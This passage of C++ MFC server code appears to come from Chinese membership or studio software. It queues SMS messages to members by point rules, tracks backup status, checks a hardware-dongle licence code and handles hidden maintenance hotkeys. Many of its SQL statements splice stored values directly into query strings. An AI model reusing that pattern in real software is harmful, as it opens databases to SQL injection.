  5225. //sql.Format("insert into [db].[dbo].sendreg([timestamp],[msgcount],[log],[status],[issended],[isautosend],[phones],[content],[ren]) select [timestamp],[msgcount],[log],[status],[issended],[isautosend],[phones],[content],[ren] from [db].[dbo].sendregdelay where [autoid]=%d", atol(idarray.ElementAt(i)));
  5226. sql.Format("insert into sendreg([msgtype],[timestamp],[msgcount],[log],[status],[issended],[isautosend],[phones],[content],[ren]) select [msgtype],[timestamp],[msgcount],[log],[status],[issended],[isautosend],[phones],[content],[ren] from sendregdelay where [autoid]=%d", atol(idarray.ElementAt(i)));
  5227. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5228. sql.Format("delete from sendregdelay where [autoid]=%d", atol(idarray.ElementAt(i)));
  5229. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5230. }
  5231. }
  5232. int covertrate = 100;
  5233. CString spoint;
  5234. {
  5235. CRecordset myset(pMaindb);
  5236. CString sql = "select * from version";
  5237. myset.Open(CRecordset::forwardOnly, sql);
  5238. myset.GetFieldValue("rate2", sql);
  5239. myset.Close();
  5240. covertrate = atoi(sql);
  5241. if (covertrate == 0)covertrate = 100;
  5242. }
  5243. CString filter;
  5244. CArray<CStringArray, CStringArray>rulearray;
  5245. CArray<CStringArray, CStringArray>memberarray;
  5246. {
  5247. CRecordset myset(pMaindb);
  5248. CString sql = "select count(*) as cot from msgtemp2";
  5249. if (!filter.IsEmpty())sql += " where " + filter;
  5250. myset.Open(CRecordset::forwardOnly, sql);
  5251. myset.GetFieldValue("cot", sql);
  5252. myset.Close();
  5253. int count = atol(sql);
  5254. rulearray.SetSize(count, 1);
  5255. CRstmsgtemp2 rsSt;
  5256. rsSt.m_pDatabase = pMaindb;
  5257. if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  5258. rsSt.Open();
  5259. DWORD ii = 0;
  5260. while (!rsSt.IsEOF())
  5261. {
  5262. rulearray.ElementAt(ii).RemoveAll();
  5263. rulearray.ElementAt(ii).Add(rsSt.name);
  5264. rulearray.ElementAt(ii).Add(rsSt.content1);
  5265. rulearray.ElementAt(ii).Add(rsSt.content2);
  5266. rulearray.ElementAt(ii).Add(rsSt.check1);
  5267. rulearray.ElementAt(ii).Add(rsSt.check2);
  5268. rulearray.ElementAt(ii).Add(rsSt.point);
  5269. ii++;
  5270. rsSt.MoveNext();
  5271. if (rulearray.GetSize() <= ii)break;
  5272. }
  5273. rsSt.Close(); rulearray.SetSize(ii, 1);
  5274. }
  5275. if (rulearray.GetSize() == 0)return;
  5276. qsort(static_cast<void*>(&rulearray[0]), rulearray.GetSize(), sizeof(rulearray[0]), CompareByLabel6);
  5277. /////////////
  5278. {
  5279. CRecordset myset(pMaindb);
  5280. CString sql = "select count(*) as cot from membermanage"; if (!filter.IsEmpty())sql += " where " + filter;
  5281. myset.Open(CRecordset::forwardOnly, sql);
  5282. myset.GetFieldValue("cot", sql);
  5283. myset.Close();
  5284. memberarray.SetSize(atol(sql), 1);
  5285. RstMemberReg rsSt;
  5286. rsSt.m_pDatabase = pMaindb;
  5287. if (!filter.IsEmpty())rsSt.m_strFilter = filter;
  5288. rsSt.Open();
  5289. DWORD ii = 0;
  5290. if (covertrate != 100)
  5291. {
  5292. while (!rsSt.IsEOF())
  5293. {
  5294. memberarray.ElementAt(ii).RemoveAll();
  5295. memberarray.ElementAt(ii).Add(rsSt.m_memberno);
  5296. memberarray.ElementAt(ii).Add(rsSt.m_name);
  5297. memberarray.ElementAt(ii).Add(rsSt.m_sex);
  5298. memberarray.ElementAt(ii).Add(rsSt.m_phone);
  5299. spoint.Format("%d", atoi(rsSt.m_money)*covertrate / 100);
  5300. memberarray.ElementAt(ii).Add(spoint);
  5301. memberarray.ElementAt(ii).Add(rsSt.m_sendmark1);
  5302. memberarray.ElementAt(ii).Add(rsSt.m_sendmark2);
  5303. ii++;
  5304. rsSt.MoveNext(); if (memberarray.GetSize() <= ii)break;
  5305. }
  5306. }
  5307. else
  5308. {
  5309. while (!rsSt.IsEOF())
  5310. {
  5311. memberarray.ElementAt(ii).RemoveAll();
  5312. memberarray.ElementAt(ii).Add(rsSt.m_memberno);
  5313. memberarray.ElementAt(ii).Add(rsSt.m_name);
  5314. memberarray.ElementAt(ii).Add(rsSt.m_sex);
  5315. memberarray.ElementAt(ii).Add(rsSt.m_phone);
  5316. memberarray.ElementAt(ii).Add(rsSt.m_money);
  5317. memberarray.ElementAt(ii).Add(rsSt.m_sendmark1);
  5318. memberarray.ElementAt(ii).Add(rsSt.m_sendmark2);
  5319. ii++;
  5320. rsSt.MoveNext(); if (memberarray.GetSize() <= ii)break;
  5321. }
  5322. }
  5323. rsSt.Close(); memberarray.SetSize(ii, 1);
  5324. }
  5325. CString memberno, name, sex, phone, point, mark1, mark2, rulename, rulecheck1, rulecheck2, rulepoint, rulecontent1, rulecontent2;
  5326. for (int i = 0; i < memberarray.GetSize(); i++)
  5327. {
  5328. memberno = memberarray.ElementAt(i).ElementAt(0);
  5329. name = memberarray.ElementAt(i).ElementAt(1);
  5330. sex = memberarray.ElementAt(i).ElementAt(2);
  5331. phone = memberarray.ElementAt(i).ElementAt(3);
  5332. point = memberarray.ElementAt(i).ElementAt(4);
  5333. mark1 = "," + memberarray.ElementAt(i).ElementAt(5) + ",";
  5334. mark2 = "," + memberarray.ElementAt(i).ElementAt(6) + ",";
  5335. if (atoi(point) == 0)continue;
  5336. if (phone.IsEmpty())continue;
  5337. if (-1 == CheckPhoneType(phone))continue;
  5338. int j = 0;
  5339. for (/*int*/ j = 0; j < rulearray.GetSize(); j++)
  5340. {
  5341. if (mark1.GetLength()>4000)break;
  5342. rulename = "," + rulearray.ElementAt(j).ElementAt(0) + ",";
  5343. rulecontent1 = name + rulearray.ElementAt(j).ElementAt(1);
  5344. rulecontent2 = name + rulearray.ElementAt(j).ElementAt(2);
  5345. rulecheck1 = rulearray.ElementAt(j).ElementAt(3);
  5346. rulecheck2 = rulearray.ElementAt(j).ElementAt(4);
  5347. rulepoint = rulearray.ElementAt(j).ElementAt(5);
  5348. if (atoi(rulecheck1) == 0 && atoi(rulecheck2) == 0)continue;
  5349. if (atoi(rulecheck1))
  5350. {
  5351. if (rulecontent1.IsEmpty())continue;
  5352. if (mark1.Find(rulename) != -1)break;
  5353. if (atoi(point) >= atoi(rulepoint))continue;
  5354. if (atoi(point) < atoi(rulepoint) * 80 / 100)continue;
  5355. // if(sex=="男")
  5356. // rulecontent1.Replace ("xxx先生/女士", name+"先生");
  5357. // else
  5358. // rulecontent1.Replace ("xxx先生/女士", name+"女士");
  5359. int count = GetLengthEx(rulecontent1) / MSG_LENGTH;
  5360. if (GetLengthEx(rulecontent1) % MSG_LENGTH)
  5361. count++;
  5362. int phonenum = 1;
  5363. count *= phonenum;
  5364. CString scount;
  5365. scount.Format("%d", count);
  5366. CString timestamp = CTime::GetCurrentTime().Format("%Y%m%d%H%M%S");
  5367. CString sql;
  5368. mark1.TrimLeft(",");
  5369. mark1.TrimRight(",");
  5370. if (mark1.IsEmpty() == 0)
  5371. mark1 += ",";
  5372. rulename.TrimLeft(",");
  5373. rulename.TrimRight(",");
  5374. mark1 += rulename;
  5375. sql = "update membermanage set sendmark1='" + mark1 + "' where memberno='" + memberno + "'";
  5376. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5377. mark1 = "," + mark1 + ",";
  5378. sql = "insert into sendreg([phones],[content],[timestamp],[msgcount],[status],[issended],[isautosend],[ren]) values('" + phone + "','" + rulecontent1 + "','" + timestamp + "','" + scount + "','0','0','0','系统自动发送')";
  5379. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5380. }
  5381. }
  5382. ///////////////////
  5383. BOOL bSended = 0;
  5384. for (j = 0; j < rulearray.GetSize(); j++)
  5385. {
  5386. if (mark2.GetLength() > 4000)break;
  5387. if (bSended)break;
  5388. rulename = "," + rulearray.ElementAt(j).ElementAt(0) + ",";
  5389. rulecontent1 = name + rulearray.ElementAt(j).ElementAt(1);
  5390. rulecontent2 = name + rulearray.ElementAt(j).ElementAt(2);
  5391. rulecheck1 = rulearray.ElementAt(j).ElementAt(3);
  5392. rulecheck2 = rulearray.ElementAt(j).ElementAt(4);
  5393. rulepoint = rulearray.ElementAt(j).ElementAt(5);
  5394. if (atoi(rulecheck1) == 0 && atoi(rulecheck2) == 0)continue;
  5395. if (atoi(rulecheck2))
  5396. {
  5397. if (rulecontent2.IsEmpty())continue;
  5398. if (mark2.Find(rulename) != -1)break;
  5399. if (atoi(point) < atoi(rulepoint))continue;
  5400. // if(sex=="男")
  5401. // rulecontent2.Replace ("xxx先生/女士", name+"先生");
  5402. // else
  5403. // rulecontent2.Replace ("xxx先生/女士", name+"女士");
  5404. int count = GetLengthEx(rulecontent2) / MSG_LENGTH;
  5405. if (GetLengthEx(rulecontent2) % MSG_LENGTH)
  5406. count++;
  5407. int phonenum = 1;
  5408. count *= phonenum;
  5409. CString scount;
  5410. scount.Format("%d", count);
  5411. CString timestamp = CTime::GetCurrentTime().Format("%Y%m%d%H%M%S");
  5412. CString sql;
  5413. mark2.TrimLeft(",");
  5414. mark2.TrimRight(",");
  5415. if (mark2.IsEmpty() == 0)
  5416. mark2 += ",";
  5417. rulename.TrimLeft(",");
  5418. rulename.TrimRight(",");
  5419. mark2 += rulename;
  5420. sql = "update membermanage set sendmark2='" + mark2 + "' where memberno='" + memberno + "'";
  5421. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5422. mark2 = "," + mark2 + ",";
  5423. sql = "insert into sendreg([phones],[content],[timestamp],[msgcount],[status],[issended],[isautosend],[ren]) values('" + phone + "','" + rulecontent2 + "','" + timestamp + "','" + scount + "','0','0','0','系统自动发送')";
  5424. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5425. bSended = 1;
  5426. }
  5427. }
  5428. }
  5429. }
  5430. catch (CDBException *e)
  5431. {
  5432. WriteTextLog(_T("%s-<%d>-%s,%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError);
  5433. #ifdef _DEBUG
  5434. e->ReportError();
  5435. #endif
  5436. e->Delete();
  5437. }
  5438. }
  5439. void CDBServerDlg::CheckBakState() // Jeff.检查数据库bakstate表;
  5440. {
  5441. try
  5442. {
  5443. CDatabase* pMaindb = NULL;
  5444. ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
  5445. if ( pMaindb == NULL )
  5446. return;
  5447. CString filter = _T("");
  5448. CArray<CStringArray, CStringArray> strArray;
  5449. CRecordset myset(pMaindb);
  5450. CString sql = "select count(*) as cot from bakstate";
  5451. if (!filter.IsEmpty())
  5452. sql += " where " + filter;
  5453. myset.Open(CRecordset::forwardOnly, sql);
  5454. myset.GetFieldValue("cot", sql);
  5455. myset.Close();
  5456. int count = atol(sql);
  5457. strArray.SetSize(count, 1);
  5458. //备份记录
  5459. CRstbakstate rsSt;
  5460. rsSt.m_pDatabase = pMaindb;
  5461. if (!filter.IsEmpty())
  5462. rsSt.m_strFilter = filter;
  5463. rsSt.Open();
  5464. int ii = 0;
  5465. while (!rsSt.IsEOF())
  5466. {
  5467. strArray.ElementAt(ii).RemoveAll();
  5468. strArray.ElementAt(ii).Add(rsSt.date);
  5469. strArray.ElementAt(ii).Add(rsSt.photo);
  5470. strArray.ElementAt(ii).Add(rsSt.info);
  5471. ii++;
  5472. rsSt.MoveNext();
  5473. if (strArray.GetSize() <= ii)
  5474. break;
  5475. }
  5476. rsSt.Close();
  5477. //只保存7天记录
  5478. strArray.SetSize(ii, 1);
  5479. while (strArray.GetSize() > 7)
  5480. {
  5481. CString sql = "delete from bakstate where [date]='" + strArray.ElementAt(0).ElementAt(0) + "'";
  5482. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5483. strArray.RemoveAt(0);
  5484. }
  5485. CString path = _T("");
  5486. path.Format("%s\\log.txt", g_mainpath);
  5487. if (::PathFileExists(path))
  5488. {
  5489. CString str;
  5490. CStdioFile fp;
  5491. if (fp.Open(path, CFile::modeRead))
  5492. {
  5493. CString temp;
  5494. fp.ReadString(temp);
  5495. CString date = temp;
  5496. date.TrimRight();
  5497. while(!feof(fp.m_pStream))
  5498. {
  5499. fp.ReadString(temp);
  5500. str += temp;
  5501. }
  5502. fp.Close();
  5503. if (date.GetLength() != 10)
  5504. return;
  5505. BOOL bBak = 0;
  5506. int i = 0;
  5507. for (int i = 0; i < strArray.GetSize(); i++)
  5508. {
  5509. if (date == strArray.ElementAt(i).ElementAt(0))
  5510. {
  5511. bBak = 1;
  5512. break;
  5513. }
  5514. }
  5515. if (bBak == 0)
  5516. {
  5517. CString state1 = "0";
  5518. CString state2 = "0";
  5519. if (str.Find("照片备份成功") != -1)state1 = "1";
  5520. if (str.Find("资料备份成功") != -1)state2 = "1";
  5521. sql = "insert into bakstate([date],[photo],[info])values('" + date + "','" + state1 + "','" + state2 + "')";
  5522. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5523. }
  5524. else
  5525. {
  5526. CString state1 = "0";
  5527. CString state2 = "0";
  5528. if (str.Find("照片备份成功") != -1)state1 = "1";
  5529. if (str.Find("资料备份成功") != -1)state2 = "1";
  5530. sql = "update bakstate set [photo]='" + state1 + "',[info]='" + state2 + "' where [date]='" + date + "'";
  5531. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5532. }
  5533. //判断昨天
  5534. CTime tm = CTime::GetCurrentTime();
  5535. CTimeSpan dt(1, 0, 0, 0);
  5536. tm -= dt;
  5537. CString yesterday = tm.Format("%Y-%m-%d");
  5538. for (i = 0; i < strArray.GetSize(); i++)
  5539. {
  5540. if (yesterday == strArray.ElementAt(i).ElementAt(0))return;
  5541. }
  5542. if (yesterday == date)return;
  5543. sql = "insert into bakstate([date],[photo],[info])values('" + yesterday + "','0','0')";
  5544. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5545. }
  5546. else
  5547. {
  5548. CTime tm = CTime::GetCurrentTime();
  5549. CTimeSpan dt(1, 0, 0, 0);
  5550. tm -= dt;
  5551. sql = "insert into bakstate([date],[photo],[info])values('" + tm.Format("%Y-%m-%d") + "','0','0')";
  5552. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5553. }
  5554. }
  5555. else
  5556. {
  5557. //昨天没备份,插入一条没有备份的记录
  5558. CTime tm = CTime::GetCurrentTime();
  5559. CTimeSpan dt(1, 0, 0, 0);
  5560. tm -= dt;
  5561. for (int i = 0; i < strArray.GetSize(); i++)
  5562. {
  5563. if (tm.Format("%Y-%m-%d") == strArray.ElementAt(i).ElementAt(0))
  5564. return;
  5565. }
  5566. sql = "insert into bakstate([date],[photo],[info])values('" + tm.Format("%Y-%m-%d") + "','0','0')";
  5567. MyExecuteSQL(__FILE__, __LINE__, __FUNCTION__, pMaindb, sql);
  5568. }
  5569. }
  5570. catch (...)
  5571. {
  5572. WriteTextLog("出错3");
  5573. }
  5574. }
  5575. //数据备份
  5576. CString CDBServerDlg::GetRegCode(int m_id, int m_time1, int m_time2)
  5577. {
  5578. TCHAR DevicePath[260];
  5579. if (FindPort(0, DevicePath) != 0)
  5580. return "";
  5581. int version;
  5582. GetIDVersion((DWORD*)&m_id, &version, DevicePath);
  5583. int d[8]; double f[8];
  5584. int idtemp = 123456;
  5585. char s0[50] = "", s1[50] = "", s2[50] = "", s3[50] = "", s4[50] = "", s5[50] = "", s6[50] = "", s7[50] = "";
  5586. //运行自定义函数
  5587. // SoftKey ytSoftKey;
  5588. int ret = 0;//ytSoftKey.Ini();
  5589. if (ret != 0)
  5590. {
  5591. return "";
  5592. }
  5593. //////////////////////////////////////////////////////////////////////////
  5594. // timedog1是对d0,d1,d2,d3进行3DES加密;
  5595. // 对锁id加密;
  5596. // 对123456加密;
  5597. // 对m_time1可运行时间加密;
  5598. // 对m_time2已运行时间加密;
  5599. ret = SoftKey::GetInstance()->timedog1(&m_id, &idtemp, &m_time1, &m_time2, &d[4], &d[5], &d[6], &d[7],
  5600. &f[0], &f[1], &f[2], &f[3], &f[4], &f[5], &f[6], &f[7],
  5601. s0, s1, s2, s3, s4, s5, s6, s7);
  5602. if (ret != 0 && ret != -43)
  5603. {
  5604. return "";
  5605. }
  5606. CString str = "";
  5607. CString temp, temp2;
  5608. /////////////////////////////////////////
  5609. temp.Format("%d", abs(m_id));
  5610. int leng = temp.GetLength();
  5611. if (m_id < 0)
  5612. temp2 = "1";
  5613. else
  5614. temp2 = "0";
  5615. temp = temp2 + temp;
  5616. temp2.Format("%02d", leng);
  5617. temp = temp2 + temp;
  5618. str += temp;
  5619. //////////////////////////////////两位长度, 1为负, 0为正, 数据区
  5620. temp.Format("%d", abs(m_time1));
  5621. leng = temp.GetLength();
  5622. if (m_time1 < 0)
  5623. temp2 = "1";
  5624. else
  5625. temp2 = "0";
  5626. temp = temp2 + temp;
  5627. temp2.Format("%02d", leng);
  5628. temp = temp2 + temp;
  5629. str += temp;
  5630. //////////////////////////////////两位长度, 1为负, 0为正, 数据区
  5631. temp.Format("%d", abs(m_time2));
  5632. leng = temp.GetLength();
  5633. if (m_time2 < 0)
  5634. temp2 = "1";
  5635. else
  5636. temp2 = "0";
  5637. temp = temp2 + temp;
  5638. temp2.Format("%02d", leng);
  5639. temp = temp2 + temp;
  5640. str += temp;
  5641. //////////////////////////////////两位长度, 1为负, 0为正, 数据区
  5642. temp.Format("%d", abs(idtemp));
  5643. leng = temp.GetLength();
  5644. if (idtemp < 0)
  5645. temp2 = "1";
  5646. else
  5647. temp2 = "0";
  5648. temp = temp2 + temp;
  5649. temp2.Format("%02d", leng);
  5650. temp = temp2 + temp;
  5651. str += temp;
  5652. return str;
  5653. }
  5654. int g_ndogtimes = 0;
  5655. void CDBServerDlg::CheckRegCode() // 检查注册码信息;
  5656. {
  5657. char path[MAX_PATH];
  5658. ::GetSystemDirectory(path, MAX_PATH);
  5659. CString sysdir = path;
  5660. sysdir += "\\authcode.txt";
  5661. CStdioFile fp;
  5662. CString authcode;
  5663. if (fp.Open(sysdir, CFile::modeRead))
  5664. {
  5665. fp.ReadString(authcode);
  5666. fp.Close();
  5667. }
  5668. ::DeleteFile(sysdir); // 删除authcode.txt文件;
  5669. authcode.TrimLeft();
  5670. authcode.TrimRight();
  5671. authcode.Replace("\n", "");
  5672. authcode.Replace("\r", "");
  5673. if (authcode.GetLength() != 240)
  5674. {
  5675. return;
  5676. }
  5677. TCHAR DevicePath[260];
  5678. if (FindPort(0, DevicePath) != 0)
  5679. return;
  5680. DWORD OutID;
  5681. int version;
  5682. GetIDVersion(&OutID, &version, DevicePath);
  5683. CString str1, str2, str3, str4, str5;
  5684. str1 = authcode.Mid(0, 48);
  5685. str2 = authcode.Mid(48, 48);
  5686. str3 = authcode.Mid(96, 48);
  5687. str4 = authcode.Mid(144, 48);
  5688. str5 = authcode.Mid(192, 48);
  5689. // SoftKey ytSoftKey;
  5690. int ret = 0;//ytSoftKey.Ini();
  5691. if (ret != 0)
  5692. {
  5693. return;
  5694. }
  5695. int d[8]; double f[8];
  5696. char s0[50] = "", s1[50] = "", s2[50] = "", s3[50] = "", s4[50] = "", s5[50] = "", s6[50] = "", s7[50] = "";
  5697. //运行自定义函数
  5698. sprintf(s0, "%s", str1);
  5699. sprintf(s1, "%s", str2);
  5700. sprintf(s2, "%s", str3);
  5701. sprintf(s3, "%s", str4);
  5702. sprintf(s4, "%s", str5);
  5703. //运行自定义函数
  5704. ret = SoftKey::GetInstance()->timedog2(&d[0], &d[1], &d[2], &d[3], &d[4], &d[5], &d[6], &d[7],
  5705. &f[0], &f[1], &f[2], &f[3], &f[4], &f[5], &f[6], &f[7],
  5706. s0, s1, s2, s3, s4, s5, s6, s7);
  5707. if (ret != 0 && ret != -43)
  5708. {
  5709. return;
  5710. }
  5711. str1 = s0;
  5712. str2 = s1;
  5713. str3 = s2;
  5714. str4 = s3;
  5715. str5 = s4;
  5716. authcode = str1;
  5717. authcode += str2;
  5718. authcode += str3;
  5719. authcode += str4;
  5720. authcode += str5;
  5721. str1 += str2;
  5722. str3 += str4;
  5723. DWORD id = atoi(str5.Right(8));
  5724. str5 = str5.Left(12);
  5725. if (id != OutID)
  5726. {
  5727. return;
  5728. }
  5729. TCHAR HKey[50] = "ffffffff", LKey[50] = "ffffffff";
  5730. TCHAR WHKey[41] = "0", WLKey[41] = "0";
  5731. TCHAR year[10], month[10], day[10], hour[10], minute[10], second[10];
  5732. sprintf(WHKey, "%s", str1);
  5733. sprintf(WLKey, "%s", str3);
  5734. CString temp;
  5735. temp = str5.Left(4);
  5736. str5 = str5.Right(8);
  5737. sprintf(year, "%s", temp);
  5738. temp = str5.Left(2);
  5739. str5 = str5.Right(6);
  5740. sprintf(month, "%s", temp);
  5741. temp = str5.Left(2);
  5742. str5 = str5.Right(4);
  5743. sprintf(day, "%s", temp);
  5744. temp = str5.Left(2);
  5745. str5 = str5.Right(2);
  5746. sprintf(hour, "%s", temp);
  5747. sprintf(minute, "%s", str5);
  5748. sprintf(second, "%s", "0");
  5749. ret = WriteTimeAuthToEprom(30128, HKey, LKey, WHKey, WLKey, id, year, month, day, hour, minute, DevicePath);
  5750. if (ret == 0)
  5751. {
  5752. TCHAR year2[10], month2[10], day2[10], hour2[10], minute2[10], second2[10];
  5753. GetRunTimer(year2, month2, day2, hour2, minute2, second2, DevicePath);
  5754. DWORD time1, time2;
  5755. time1 = ConvertStringToTimerReal(year, month, day, hour, minute, second);
  5756. sprintf(second2, "%s", "0");
  5757. time2 = ConvertStringToTimerReal(year2, month2, day2, hour2, minute2, second2);
  5758. if (time1 > time2)
  5759. ConvertTimerToStringReal(time1 - time2, year, month, day, hour, minute, second);
  5760. else
  5761. {
  5762. sprintf(year, "%s", "0");
  5763. sprintf(month, "%s", "0");
  5764. sprintf(day, "%s", "0");
  5765. sprintf(hour, "%s", "0");
  5766. sprintf(minute, "%s", "0");
  5767. }
  5768. g_ndogtimes++;
  5769. // str1.Format ("写入%d次 %d 年 %d 月 %d 日 %d 小时 %d 分", g_ndogtimes, atoi(year), atoi(month), atoi(day), atoi(hour), atoi(minute));
  5770. // WriteTextLog(str1);
  5771. // AfxMessageBox((str1));
  5772. }
  5773. else
  5774. {
  5775. // AfxMessageBox(("授权申请码错误, 请重新向经销商索取!"));
  5776. return;
  5777. }
  5778. }
  5779. BOOL IsCtrlDown()
  5780. {
  5781. short state = GetKeyState(VK_LCONTROL);
  5782. BYTE sta = (BYTE)(state >> 8);
  5783. state = GetKeyState(VK_RCONTROL);
  5784. BYTE sta2 = (BYTE)(state >> 8);
  5785. if (sta || sta2)
  5786. return 1;
  5787. else
  5788. return 0;
  5789. }
  5790. //extern CTime GetTmFromStr(CString date);
  5791. BOOL CDBServerDlg::PreTranslateMessage(MSG* pMsg)
  5792. {
  5793. if (pMsg->message == WM_KEYDOWN)
  5794. {
  5795. switch (pMsg->wParam)
  5796. {
  5797. case 67:
  5798. AfxMessageBox("c");
  5799. break;
  5800. case VK_F8:
  5801. if (IsCtrlDown())GenYLGL();
  5802. break;
  5803. case VK_F9:
  5804. if (IsCtrlDown())
  5805. {
  5806. CString g_domain;
  5807. CArray<CStringArray, CStringArray>g_List1array;
  5808. CString autorunpath = g_mainpath + "\\branchdindan.dat";
  5809. CFile fp;
  5810. if (fp.Open(autorunpath, CFile::modeRead))
  5811. {
  5812. int nMessageLen = fp.GetLength();
  5813. BYTE *pData = new BYTE[nMessageLen];
  5814. fp.Read(pData, nMessageLen);
  5815. fp.Close();
  5816. BYTE *szChatMessage = pData;
  5817. int count;
  5818. memcpy(&count, szChatMessage + (nMessageLen - sizeof(int)), sizeof(int));
  5819. CMemFile memfile;
  5820. memfile.Attach(szChatMessage, nMessageLen);
  5821. CArchive ar(&memfile, CArchive::load);
  5822. g_List1array.SetSize(count);
  5823. for (int ii = 0; ii < g_List1array.GetSize(); ii++)
  5824. {
  5825. g_List1array.ElementAt(ii).Serialize(ar);
  5826. }
  5827. ar.Close();
  5828. memfile.Detach();
  5829. delete[]pData;
  5830. }
  5831. CString time5, id;
  5832. for (int i = 0; i < g_List1array.GetSize(); i++)
  5833. {
  5834. g_domain = "\\" + g_List1array.ElementAt(i).ElementAt(0);
  5835. id = g_List1array.ElementAt(i).ElementAt(1);
  5836. time5 = g_List1array.ElementAt(i).ElementAt(2);
  5837. WriteTextLog(g_domain + "\\" + id + time5);
  5838. }
  5839. }
  5840. break;
  5841. #ifdef LYFZ_VERSION
  5842. case VK_F7:
  5843. if (IsCtrlDown())
  5844. {
  5845. if (AfxMessageBox("是否继续?", MB_YESNO | MB_ICONINFORMATION) != IDYES)return 1;
  5846. CStringArray array1;
  5847. CRstDindanForm rsSt; rsSt.m_pDatabase = &g_db;
  5848. rsSt.Open();
  5849. while (!rsSt.IsEOF())
  5850. {
  5851. array1.Add(rsSt.id);
  5852. rsSt.MoveNext();
  5853. }
  5854. rsSt.Close();
  5855. CString id, sql;
  5856. sql.Format("update dindan set status5='%s'", "无");
  5857. MyExecuteSQL(&g_db, sql);
  5858. BOOL bHasPhoto = 0;
  5859. for (int i = 0; i < array1.GetSize(); i++)
  5860. {
  5861. id = array1.ElementAt(i);
  5862. bHasPhoto = 0;
  5863. CRstClientPhoto rsSt;
  5864. rsSt.m_strFilter = "id='" + id + "'";
  5865. rsSt.Open();
  5866. if (rsSt.photo.m_dwDataLength>0)
  5867. {
  5868. bHasPhoto = 1;
  5869. }
  5870. rsSt.Close();
  5871. if (bHasPhoto)
  5872. {
  5873. sql.Format("update dindan set status5='%s' where id='%s'", "有", id);
  5874. MyExecuteSQL(&g_db, sql);
  5875. }
  5876. }
  5877. /* CStringArray array1,array2;
  5878. CRstDindanForm rsSt; rsSt.m_pDatabase=&g_db;
  5879. rsSt.Open();
  5880. while(!rsSt.IsEOF())
  5881. {
  5882. array1.Add(rsSt.id) ;
  5883. array2.Add(rsSt.time4) ;
  5884. rsSt.MoveNext();
  5885. }
  5886. rsSt.Close();
  5887. CString id,time4,time2,sql;
  5888. for(int i=0; i<array1.GetSize(); i++)
  5889. {
  5890. id=array1.ElementAt(i);
  5891. time4=array2.ElementAt(i);
  5892. if(time4.GetLength()==10)
  5893. {
  5894. CTime tm=GetTmFromStr(time4);
  5895. CTimeSpan dt(365, 0, 0, 0);
  5896. CTime tm2=tm-dt;
  5897. time2=tm2.Format("%Y-%m-%d");
  5898. sql.Format("update dindan set time2='%s' where id='%s'", time2, id);
  5899. MyExecuteSQL(&g_db, sql);
  5900. }
  5901. }*/
  5902. AfxMessageBox("完成");
  5903. }
  5904. break;
  5905. #endif //#ifdef LYFZ_VERSION
  5906. case VK_F2:
  5907. if (IsCtrlDown())
  5908. {
  5909. SelYear dlg;
  5910. if (dlg.DoModal() != IDOK)return 1;
  5911. int year = dlg.m_year;
  5912. int hisyear = CTime::GetCurrentTime().GetYear() - 1;
  5913. if (year == hisyear)
  5914. {
  5915. AfxMessageBox("不能选该年");
  5916. return 1;
  5917. }
  5918. CString str;
  5919. str.Format("此操作将%d年数据导入%d中, 确认吗?", year, hisyear);
  5920. if (AfxMessageBox(str, MB_YESNO | MB_ICONINFORMATION) != IDYES)return 1;
  5921. CDatabase *pdb = GetDB(year);
  5922. if (pdb == NULL)
  5923. {
  5924. str.Format("没有找到%d, 操作失败", year);
  5925. AfxMessageBox(str); return 1;
  5926. }
  5927. str.Format("开始%d->%d", year, hisyear);
  5928. WriteTextLog(str);
  5929. CheckHistoryData(pdb, year);
  5930. str.Format("%d->%d完成", year, hisyear);
  5931. WriteTextLog(str);
  5932. }
  5933. break;
  5934. case VK_F3:
  5935. if (IsCtrlDown())
  5936. {
  5937. SelYear dlg;
  5938. if (dlg.DoModal() != IDOK)return 1;
  5939. int year = dlg.m_year;
  5940. int hisyear = CTime::GetCurrentTime().GetYear() - 1;
  5941. if (year == hisyear)
  5942. {
  5943. AfxMessageBox("不能选该年");
  5944. return 1;
  5945. }
  5946. CString str;
  5947. str.Format("此操作将%d年数据导入%d中(当前数据库中没有的订单全转), 确认吗?", year, hisyear);
  5948. if (AfxMessageBox(str, MB_YESNO | MB_ICONINFORMATION) != IDYES)return 1;
  5949. CDatabase *pdb = GetDB(year);
  5950. if (pdb == NULL)
  5951. {
  5952. str.Format("没有找到%d, 操作失败", year);
  5953. AfxMessageBox(str); return 1;
  5954. }
  5955. str.Format("开始%d->%d", year, hisyear);
  5956. WriteTextLog(str);
  5957. CheckHistoryData(pdb, year, 1);
  5958. str.Format("%d->%d完成", year, hisyear);
  5959. WriteTextLog(str);
  5960. }
  5961. break;
  5962. case VK_F1:
  5963. CString str;
  5964. if (g_conniparray.GetSize() == 0)str = "当前无客户端连接至服务器!";
  5965. for (int i = 0; i < g_conniparray.GetSize(); i++)
  5966. {
  5967. str += "\r\n连接ip:" + g_conniparray.ElementAt(i);
  5968. }
  5969. AfxMessageBox(str);
  5970. #ifdef CONNCOUNT_VERSION
  5971. // CStringArray g_conniparray;
  5972. #endif //#ifdef CONNCOUNT_VERSION
  5973. return 1;
  5974. }
  5975. }
  5976. return CDialog::PreTranslateMessage(pMsg);
  5977. }
  5978. void CDBServerDlg::GenUPhoneData()
  5979. {
  5980. MyLock lock("processChatMessageRequestxiao");
  5981. CArray<int, int>codearray;
  5982. codearray.Add(80);
  5983. codearray.Add(90);
  5984. codearray.Add(11);
  5985. codearray.Add(138);
  5986. codearray.Add(24);
  5987. codearray.Add(181);
  5988. codearray.Add(65);
  5989. codearray.Add(56);
  5990. codearray.Add(179);
  5991. codearray.Add(53);
  5992. CFile fp;
